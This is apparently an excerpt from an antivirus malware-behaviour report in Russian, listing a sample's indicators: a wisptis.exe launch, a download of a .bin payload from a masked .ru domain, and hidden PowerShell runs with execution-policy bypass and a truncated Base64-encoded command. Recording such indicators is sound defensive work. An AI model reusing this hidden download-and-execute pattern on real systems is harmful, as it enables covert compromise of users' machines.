Техническая информация
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;
- http://pr####kanamanky.ru/ksdfjhgiuwehrgifdsugbsdfg.bin
- DNS ASK pr####kanamanky.ru
- '<SYSTEM32>\wisptis.exe' /ManualLaunch;' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e JAB6AHQAbgBqAHMAdwBlAGgAegA9ACIAeAB3AGYAagAiADsACgAkAGMAeABzAGUAaQBuAGgAZwBkAHAAIAA9ACAAIgBuAHEAbQBpAGYAYwBjAG0AdgBjAHoAZQBoAHgAIgA7AAoAJAB6AGoAbAByAGoAbQ...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -exec bypass -win hidden -noni -e JAB6AHQAbgBqAHMAdwBlAGgAegA9ACIAeAB3AGYAagAiADsACgAkAGMAeABzAGUAaQBuAGgAZwBkAHAAIAA9ACAAIgBuAHEAbQBpAGYAYwBjAG0AdgBjAHoAZQBoAHgAIgA7AAoAJAB6AGoAbAByAGoAbQ...